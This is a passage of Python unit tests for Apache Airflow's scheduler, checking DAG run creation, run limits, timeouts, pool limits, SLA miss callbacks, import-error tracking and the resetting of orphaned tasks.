task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dag = DAG( dag_id='test_scheduler_do_not_schedule_removed_task', start_date=DEFAULT_DATE) queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.put.assert_not_called() def test_scheduler_do_not_schedule_too_early(self): dag = DAG( dag_id='test_scheduler_do_not_schedule_too_early', start_date=timezone.datetime(2200, 1, 1)) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.put.assert_not_called() def test_scheduler_do_not_schedule_without_tasks(self): dag = DAG( dag_id='test_scheduler_do_not_schedule_without_tasks', start_date=DEFAULT_DATE) with create_session() as session: orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) scheduler = SchedulerJob() dag.clear(session=session) dag.start_date = None dr = scheduler.create_dag_run(dag, session=session) self.assertIsNone(dr) def test_scheduler_do_not_run_finished(self): dag = DAG( dag_id='test_scheduler_do_not_run_finished', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) tis = dr.get_task_instances(session=session) for ti in tis: ti.state = State.SUCCESS session.commit() session.close() queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.put.assert_not_called() def test_scheduler_add_new_task(self): """ Test if a task instance will be added if the dag is updated """ dag = DAG( dag_id='test_scheduler_add_new_task', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) tis = dr.get_task_instances() self.assertEqual(len(tis), 1) DummyOperator( task_id='dummy2', dag=dag, owner='airflow') queue = Mock() scheduler._process_task_instances(dag, queue=queue) tis = dr.get_task_instances() self.assertEqual(len(tis), 2) def test_scheduler_verify_max_active_runs(self): """ Test if a a dagrun will not be scheduled if max_dag_runs has been reached """ dag = DAG( dag_id='test_scheduler_verify_max_active_runs', start_date=DEFAULT_DATE) dag.max_active_runs = 1 DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) def test_scheduler_fail_dagrun_timeout(self): """ Test if a a dagrun wil be set failed if timeout """ dag = DAG( dag_id='test_scheduler_fail_dagrun_timeout', start_date=DEFAULT_DATE) dag.dagrun_timeout = datetime.timedelta(seconds=60) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr.start_date = timezone.utcnow() - datetime.timedelta(days=1) session.merge(dr) session.commit() dr2 = scheduler.create_dag_run(dag) self.assertIsNotNone(dr2) dr.refresh_from_db(session=session) self.assertEqual(dr.state, State.FAILED) def test_scheduler_verify_max_active_runs_and_dagrun_timeout(self): """ Test if a a dagrun will not be scheduled if max_dag_runs has been reached and dagrun_timeout is not reached Test if a a dagrun will be scheduled if max_dag_runs has been reached but dagrun_timeout is also reached """ dag = DAG( dag_id='test_scheduler_verify_max_active_runs_and_dagrun_timeout', start_date=DEFAULT_DATE) dag.max_active_runs = 1 dag.dagrun_timeout = datetime.timedelta(seconds=60) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) # Should not be scheduled as DagRun has not timedout and max_active_runs is reached new_dr = scheduler.create_dag_run(dag) self.assertIsNone(new_dr) # Should be scheduled as dagrun_timeout has passed dr.start_date = timezone.utcnow() - datetime.timedelta(days=1) session.merge(dr) session.commit() new_dr = scheduler.create_dag_run(dag) self.assertIsNotNone(new_dr) def test_scheduler_max_active_runs_respected_after_clear(self): """ Test if _process_task_instances only schedules ti's up to max_active_runs (related to issue AIRFLOW-137) """ dag = DAG( dag_id='test_scheduler_max_active_runs_respected_after_clear', start_date=DEFAULT_DATE) dag.max_active_runs = 3 dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() # First create up to 3 dagruns in RUNNING state. scheduler.create_dag_run(dag) # Reduce max_active_runs to 1 dag.max_active_runs = 1 queue = Mock() # and schedule them in, so we can check how many # tasks are put on the queue (should be one, not 3) scheduler._process_task_instances(dag, queue=queue) queue.append.assert_called_with( (dag.dag_id, dag_task1.task_id, DEFAULT_DATE, TRY_NUMBER) ) @patch.object(TI, 'pool_full') def test_scheduler_verify_pool_full(self, mock_pool_full): """ Test task instances not queued when pool is full """ mock_pool_full.return_value = False dag = DAG( dag_id='test_scheduler_verify_pool_full', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow', pool='test_scheduler_verify_pool_full') session = settings.Session() pool = Pool(pool='test_scheduler_verify_pool_full', slots=1) session.add(pool) orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() # Create 2 dagruns, which will create 2 task instances. dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEqual(dr.execution_date, DEFAULT_DATE) dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) queue = [] scheduler._process_task_instances(dag, queue=queue) self.assertEqual(len(queue), 2) dagbag = self._make_simple_dag_bag([dag]) # Recreated part of the scheduler here, to kick off tasks -> executor for ti_key in queue: task = dag.get_task(ti_key[1]) ti = TI(task, ti_key[2]) # Task starts out in the scheduled state. All tasks in the # scheduled state will be sent to the executor ti.state = State.SCHEDULED # Also save this task instance to the DB. session.merge(ti) session.commit() scheduler._execute_task_instances(dagbag, (State.SCHEDULED, State.UP_FOR_RETRY)) self.assertEqual(len(scheduler.executor.queued_tasks), 1) def test_scheduler_auto_align(self): """ Test if the schedule_interval will be auto aligned with the start_date such that if the start_date coincides with the schedule the first execution_date will be start_date, otherwise it will be start_date + interval. """ dag = DAG( dag_id='test_scheduler_auto_align_1', start_date=timezone.datetime(2016, 1, 1, 10, 10, 0), schedule_interval="4 5 * * *" ) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEqual(dr.execution_date, timezone.datetime(2016, 1, 2, 5, 4)) dag = DAG( dag_id='test_scheduler_auto_align_2', start_date=timezone.datetime(2016, 1, 1, 10, 10, 0), schedule_interval="10 10 * * *" ) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEqual(dr.execution_date, timezone.datetime(2016, 1, 1, 10, 10)) def test_scheduler_reschedule(self): """ Checks if tasks that are not taken up by the executor get rescheduled """ executor = TestExecutor() dagbag = DagBag(executor=executor) dagbag.dags.clear() dagbag.executor = executor dag = DAG( dag_id='test_scheduler_reschedule', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow') dag.clear() dag.is_subdag = False session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() dagbag.bag_dag(dag=dag, root_dag=dag, parent_dag=dag) @mock.patch('airflow.models.DagBag', return_value=dagbag) @mock.patch('airflow.models.DagBag.collect_dags') def do_schedule(function, function2): # Use a empty file since the above mock will return the # expected DAGs. Also specify only a single file so that it doesn't # try to schedule the above DAG repeatedly. scheduler = SchedulerJob(num_runs=1, executor=executor, subdir=os.path.join(settings.DAGS_FOLDER, "no_dags.py")) scheduler.heartrate = 0 scheduler.run() do_schedule() self.assertEqual(1, len(executor.queued_tasks)) executor.queued_tasks.clear() do_schedule() self.assertEqual(2, len(executor.queued_tasks)) def test_scheduler_sla_miss_callback(self): """ Test that the scheduler calls the sla miss callback """ session = settings.Session() sla_callback = MagicMock() # Create dag with a start of 1 day ago, but an sla of 0 # so we'll already have an sla_miss on the books. test_start_date = days_ago(1) dag = DAG(dag_id='test_sla_miss', sla_miss_callback=sla_callback, default_args={'start_date': test_start_date, 'sla': datetime.timedelta()}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow') session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='success')) session.merge(SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date)) scheduler = SchedulerJob(dag_id='test_sla_miss', num_runs=1) scheduler.manage_slas(dag=dag, session=session) sla_callback.assert_called() def test_scheduler_sla_miss_callback_invalid_sla(self): """ Test that the scheduler does not call the sla miss callback when given an invalid sla """ session = settings.Session() sla_callback = MagicMock() # Create dag with a start of 1 day ago, but an sla of 0 # so we'll already have an sla_miss on the books. # Pass anything besides a timedelta object to the sla argument. test_start_date = days_ago(1) dag = DAG(dag_id='test_sla_miss', sla_miss_callback=sla_callback, default_args={'start_date': test_start_date, 'sla': None}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow') session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='success')) session.merge(SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date)) scheduler = SchedulerJob(dag_id='test_sla_miss', num_runs=1) scheduler.manage_slas(dag=dag, session=session) sla_callback.assert_not_called() def test_scheduler_sla_miss_callback_sent_notification(self): """ Test that the scheduler does not call the sla_miss_callback when a notification has already been sent """ session = settings.Session() # Mock the callback function so we can verify that it was not called sla_callback = MagicMock() # Create dag with a start of 2 days ago, but an sla of 1 day # ago so we'll already have an sla_miss on the books test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', sla_miss_callback=sla_callback, default_args={'start_date': test_start_date, 'sla': datetime.timedelta(days=1)}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow') # Create a TaskInstance for two days ago session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='success')) # Create an SlaMiss where notification was sent, but email was not session.merge(SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date, email_sent=False, notification_sent=True)) # Now call manage_slas and see if the sla_miss callback gets called scheduler = SchedulerJob(dag_id='test_sla_miss', num_runs=1) scheduler.manage_slas(dag=dag, session=session) sla_callback.assert_not_called() def test_scheduler_sla_miss_callback_exception(self): """ Test that the scheduler gracefully logs an exception if there is a problem calling the sla_miss_callback """ session = settings.Session() sla_callback = MagicMock(side_effect=RuntimeError('Could not call function')) test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', sla_miss_callback=sla_callback, default_args={'start_date': test_start_date}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow', sla=datetime.timedelta(hours=1)) session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='Success')) # Create an SlaMiss where notification was sent, but email was not session.merge(SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date)) # Now call manage_slas and see if the sla_miss callback gets called scheduler = SchedulerJob(dag_id='test_sla_miss') with mock.patch('airflow.jobs.SchedulerJob.log', new_callable=PropertyMock) as mock_log: scheduler.manage_slas(dag=dag, session=session) sla_callback.assert_called() mock_log().exception.assert_called_with( 'Could not call sla_miss_callback for DAG %s', 'test_sla_miss') @mock.patch("airflow.utils.email.send_email") def test_scheduler_sla_miss_email_exception(self, mock_send_email): """ Test that the scheduler gracefully logs an exception if there is a problem sending an email """ session = settings.Session() # Mock the callback function so we can verify that it was not called mock_send_email.side_effect = RuntimeError('Could not send an email') test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', default_args={'start_date': test_start_date, 'sla': datetime.timedelta(days=1)}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow', email='test@test.com', sla=datetime.timedelta(hours=1)) session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='Success')) # Create an SlaMiss where notification was sent, but email was not session.merge(SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date)) scheduler = SchedulerJob(dag_id='test_sla_miss', num_runs=1) with mock.patch('airflow.jobs.SchedulerJob.log', new_callable=PropertyMock) as mock_log: scheduler.manage_slas(dag=dag, session=session) mock_log().exception.assert_called_with( 'Could not send SLA Miss email notification for DAG %s', 'test_sla_miss') def test_retry_still_in_executor(self): """ Checks if the scheduler does not put a task in limbo, when a task is retried but is still present in the executor. """ executor = TestExecutor() dagbag = DagBag(executor=executor) dagbag.dags.clear() dagbag.executor = executor dag = DAG( dag_id='test_retry_still_in_executor', start_date=DEFAULT_DATE, schedule_interval="@once") dag_task1 = BashOperator( task_id='test_retry_handling_op', bash_command='exit 1', retries=1, dag=dag, owner='airflow') dag.clear() dag.is_subdag = False session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() dagbag.bag_dag(dag=dag, root_dag=dag, parent_dag=dag) @mock.patch('airflow.models.DagBag', return_value=dagbag) @mock.patch('airflow.models.DagBag.collect_dags') def do_schedule(function, function2): # Use a empty file since the above mock will return the # expected DAGs. Also specify only a single file so that it doesn't # try to schedule the above DAG repeatedly. scheduler = SchedulerJob(num_runs=1, executor=executor, subdir=os.path.join(settings.DAGS_FOLDER, "no_dags.py")) scheduler.heartrate = 0 scheduler.run() do_schedule() self.assertEqual(1, len(executor.queued_tasks)) def run_with_error(task): try: task.run() except AirflowException: pass ti_tuple = six.next(six.itervalues(executor.queued_tasks)) (command, priority, queue, simple_ti) = ti_tuple ti = simple_ti.construct_task_instance() ti.task = dag_task1 self.assertEqual(ti.try_number, 1) # fail execution run_with_error(ti) self.assertEqual(ti.state, State.UP_FOR_RETRY) self.assertEqual(ti.try_number, 2) ti.refresh_from_db(lock_for_update=True, session=session) ti.state = State.SCHEDULED session.merge(ti) session.commit() # do not schedule do_schedule() self.assertTrue(executor.has_task(ti)) ti.refresh_from_db() # removing self.assertEqual(ti.state, State.SCHEDULED) # as scheduler will move state from SCHEDULED to QUEUED # now the executor has cleared and it should be allowed the re-queue, # but tasks stay in the executor.queued_tasks after executor.heartbeat() # will be set back to SCHEDULED state executor.queued_tasks.clear() do_schedule() ti.refresh_from_db() self.assertEqual(ti.state, State.SCHEDULED) # To verify that task does get re-queued. executor.queued_tasks.clear() executor.do_update = True do_schedule() ti.refresh_from_db() self.assertIn(ti.state, [State.RUNNING, State.SUCCESS]) @unittest.skipUnless("INTEGRATION" in os.environ, "Can only run end to end") def test_retry_handling_job(self): """ Integration test of the scheduler not accidentally resetting the try_numbers for a task """ dag = self.dagbag.get_dag('test_retry_handling_job') dag_task1 = dag.get_task("test_retry_handling_op") dag.clear() scheduler = SchedulerJob(dag_id=dag.dag_id, num_runs=1) scheduler.heartrate = 0 scheduler.run() session = settings.Session() ti = session.query(TI).filter(TI.dag_id == dag.dag_id, TI.task_id == dag_task1.task_id).first() # make sure the counter has increased self.assertEqual(ti.try_number, 2) self.assertEqual(ti.state, State.UP_FOR_RETRY) def test_dag_with_system_exit(self): """ Test to check that a DAG with a system.exit() doesn't break the scheduler. """ dag_id = 'exit_test_dag' dag_ids = [dag_id] dag_directory = os.path.join(settings.DAGS_FOLDER, "..", "dags_with_system_exit") dag_file = os.path.join(dag_directory, 'b_test_scheduler_dags.py') dagbag = DagBag(dag_folder=dag_file) for dag_id in dag_ids: dag = dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_ids=dag_ids, subdir=dag_directory, num_runs=1) scheduler.run() with create_session() as session: self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) def test_dag_get_active_runs(self): """ Test to check that a DAG returns its active runs """ now = timezone.utcnow() six_hours_ago_to_the_hour = \ (now - datetime.timedelta(hours=6)).replace(minute=0, second=0, microsecond=0) START_DATE = six_hours_ago_to_the_hour DAG_NAME1 = 'get_active_runs_test' default_args = { 'owner': 'airflow', 'depends_on_past': False, 'start_date': START_DATE } dag1 = DAG(DAG_NAME1, schedule_interval='* * * * *', max_active_runs=1, default_args=default_args ) run_this_1 = DummyOperator(task_id='run_this_1', dag=dag1) run_this_2 = DummyOperator(task_id='run_this_2', dag=dag1) run_this_2.set_upstream(run_this_1) run_this_3 = DummyOperator(task_id='run_this_3', dag=dag1) run_this_3.set_upstream(run_this_2) session = settings.Session() orm_dag = DagModel(dag_id=dag1.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag1.clear() dr = scheduler.create_dag_run(dag1) # We had better get a dag run self.assertIsNotNone(dr) execution_date = dr.execution_date running_dates = dag1.get_active_runs() try: running_date = running_dates[0] except Exception: running_date = 'Except' self.assertEqual(execution_date, running_date, 'Running Date must match Execution Date') def test_dag_catchup_option(self): """ Test to check that a DAG with catchup = False only schedules beginning now, not back to the start date """ def setup_dag(dag_id, schedule_interval, start_date, catchup): default_args = { 'owner': 'airflow', 'depends_on_past': False, 'start_date': start_date } dag = DAG(dag_id, schedule_interval=schedule_interval, max_active_runs=1, catchup=catchup, default_args=default_args) t1 = DummyOperator(task_id='t1', dag=dag) t2 = DummyOperator(task_id='t2', dag=dag) t2.set_upstream(t1) t3 = DummyOperator(task_id='t3', dag=dag) t3.set_upstream(t2) session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() return dag now = timezone.utcnow() six_hours_ago_to_the_hour = (now - datetime.timedelta(hours=6)).replace( minute=0, second=0, microsecond=0) half_an_hour_ago = now - datetime.timedelta(minutes=30) two_hours_ago = now - datetime.timedelta(hours=2) scheduler = SchedulerJob() dag1 = setup_dag(dag_id='dag_with_catchup', schedule_interval='* * * * *', start_date=six_hours_ago_to_the_hour, catchup=True) default_catchup = configuration.conf.getboolean('scheduler', 'catchup_by_default') self.assertEqual(default_catchup, True) self.assertEqual(dag1.catchup, True) dag2 = setup_dag(dag_id='dag_without_catchup_ten_minute', schedule_interval='*/10 * * * *', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag2) # We had better get a dag run self.assertIsNotNone(dr) # The DR should be scheduled in the last half an hour, not 6 hours ago self.assertGreater(dr.execution_date, half_an_hour_ago) # The DR should be scheduled BEFORE now self.assertLess(dr.execution_date, timezone.utcnow()) dag3 = setup_dag(dag_id='dag_without_catchup_hourly', schedule_interval='@hourly', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag3) # We had better get a dag run self.assertIsNotNone(dr) # The DR should be scheduled in the last 2 hours, not 6 hours ago self.assertGreater(dr.execution_date, two_hours_ago) # The DR should be scheduled BEFORE now self.assertLess(dr.execution_date, timezone.utcnow()) dag4 = setup_dag(dag_id='dag_without_catchup_once', schedule_interval='@once', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag4) self.assertIsNotNone(dr) def test_add_unparseable_file_before_sched_start_creates_import_error(self): dags_folder = mkdtemp() try: unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) with create_session() as session: import_errors = session.query(errors.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 1)".format(TEMP_DAG_FILENAME)) def test_add_unparseable_file_after_sched_start_creates_import_error(self): dags_folder = mkdtemp() try: unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) self.run_single_scheduler_loop_with_no_dags(dags_folder) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) with create_session() as session: import_errors = session.query(errors.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 1)".format(TEMP_DAG_FILENAME)) def test_no_import_errors_with_parseable_dag(self): try: dags_folder = mkdtemp() parseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) with open(parseable_filename, 'w') as parseable_file: parseable_file.writelines(PARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) with create_session() as session: import_errors = session.query(errors.ImportError).all() self.assertEqual(len(import_errors), 0) def test_new_import_error_replaces_old(self): try: dags_folder = mkdtemp() unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) # Generate replacement import error (the error will be on the second line now) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines( PARSEABLE_DAG_FILE_CONTENTS + os.linesep + UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(errors.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 2)".format(TEMP_DAG_FILENAME)) def test_remove_error_clears_import_error(self): try: dags_folder = mkdtemp() filename_to_parse = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) # Remove the import error from the file with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines( PARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(errors.ImportError).all() self.assertEqual(len(import_errors), 0) def test_remove_file_clears_import_error(self): try: dags_folder = mkdtemp() filename_to_parse = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) # Rerun the scheduler once the dag file has been removed self.run_single_scheduler_loop_with_no_dags(dags_folder) with create_session() as session: import_errors = session.query(errors.ImportError).all() self.assertEqual(len(import_errors), 0) def test_list_py_file_paths(self): """ [JIRA-1357] Test the 'list_py_file_paths' function used by the scheduler to list and load DAGs. """ detected_files = set() expected_files = set() # No_dags is empty, _invalid_ is ignored by .airflowignore ignored_files = [ 'no_dags.py', 'test_invalid_cron.py', 'test_zip_invalid_cron.zip', ] for file_name in os.listdir(TEST_DAGS_FOLDER): if file_name.endswith('.py') or file_name.endswith('.zip'): if file_name not in ignored_files: expected_files.add( '{}/{}'.format(TEST_DAGS_FOLDER, file_name)) for file_path in list_py_file_paths(TEST_DAGS_FOLDER, include_examples=False): detected_files.add(file_path) self.assertEqual(detected_files, expected_files) example_dag_folder = airflow.example_dags.__path__[0] for root, dirs, files in os.walk(example_dag_folder): for file_name in files: if file_name.endswith('.py') or file_name.endswith('.zip'): if file_name not in ['__init__.py']: expected_files.add(os.path.join(root, file_name)) detected_files.clear() for file_path in list_py_file_paths(TEST_DAGS_FOLDER, include_examples=True): detected_files.add(file_path) self.assertEqual(detected_files, expected_files) def test_reset_orphaned_tasks_nothing(self): """Try with nothing. """ scheduler = SchedulerJob() session = settings.Session() self.assertEqual( 0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_external_triggered_dag(self): dag_id = 'test_reset_orphaned_tasks_external_triggered_dag' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag, session=session) ti = dr1.get_task_instances(session=session)[0] dr1.state = State.RUNNING ti.state = State.SCHEDULED dr1.external_trigger = True session.merge(ti) session.merge(dr1) session.commit() reset_tis = scheduler.reset_state_for_orphaned_tasks(session=session) self.assertEqual(1, len(reset_tis)) def test_reset_orphaned_tasks_backfill_dag(self): dag_id = 'test_reset_orphaned_tasks_backfill_dag' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag, session=session) ti = dr1.get_task_instances(session=session)[0] ti.state = State.SCHEDULED dr1.state = State.RUNNING dr1.run_id = BackfillJob.ID_PREFIX + '_sdfsfdfsd' session.merge(ti) session.merge(dr1) session.commit() self.assertTrue(dr1.is_backfill) self.assertEqual(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_specified_dagrun(self): """Try to reset when we specify a dagrun and ensure nothing else is.""" dag_id = 'test_reset_orphaned_tasks_specified_dagrun' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() # make two dagruns, only reset for one dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr1.state = State.SUCCESS dr2.state = State.RUNNING ti1 = dr1.get_task_instances(session=session)[0] ti2 = dr2.get_task_instances(session=session)[0] ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(dr1) session.merge(dr2) session.commit() reset_tis = scheduler.reset_state_for_orphaned_tasks(filter_by_dag_run=dr2, session=session) self.assertEqual(1, len(reset_tis)) ti1.refresh_from_db(session=session) ti2.refresh_from_db(session=session) self.assertEqual(State.SCHEDULED, ti1.state) self.assertEqual(State.NONE, ti2.state) def test_reset_orphaned_tasks_nonexistent_dagrun(self): """Make sure a task in an orphaned state is not reset if it has no dagrun. """ dag_id = 'test_reset_orphaned_tasks_nonexistent_dagrun' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' task = DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() ti = models.TaskInstance(task=task, execution_date=DEFAULT_DATE) session.add(ti) session.commit() ti.refresh_from_db() ti.state = State.SCHEDULED session.merge(ti) session.commit() self.assertEqual(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_no_orphans(self): dag_id = 'test_reset_orphaned_tasks_no_orphans' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.state = State.RUNNING tis = dr1.get_task_instances(session=session) tis[0].state = State.RUNNING session.merge(dr1) session.merge(tis[0]) session.commit() self.assertEqual(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) tis[0].refresh_from_db() self.assertEqual(State.RUNNING, tis[0].state) def test_reset_orphaned_tasks_non_running_dagruns(self): """Ensure orphaned tasks with non-running dagruns are not reset.""" dag_id = 'test_reset_orphaned_tasks_non_running_dagruns' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.state = State.SUCCESS tis = dr1.get_task_instances(session=session) self.assertEqual(1, len(tis)) tis[0].state = State.SCHEDULED session.merge(dr1) session.merge(tis[0]) session.commit() self.assertEqual(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_with_orphans(self): """Create dagruns and esnure only ones with correct states are reset.""" prefix = 'scheduler_job_test_test_reset_orphaned_tasks' states = [State.QUEUED, State.SCHEDULED, State.NONE, State.RUNNING, State.SUCCESS] states_to_reset = [State.QUEUED, State.SCHEDULED, State.NONE] dag = DAG(dag_id=prefix, start_date=DEFAULT_DATE, schedule_interval="@daily") tasks = [] for i in range(len(states)): task_id = "{}_task_{}".format(prefix, i) task = DummyOperator(task_id=task_id, dag=dag) tasks.append(task) scheduler = SchedulerJob() session = settings.Session() # create dagruns dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr1.state = State.RUNNING dr2.state = State.SUCCESS session.merge(dr1) session.merge(dr2) session.commit() # 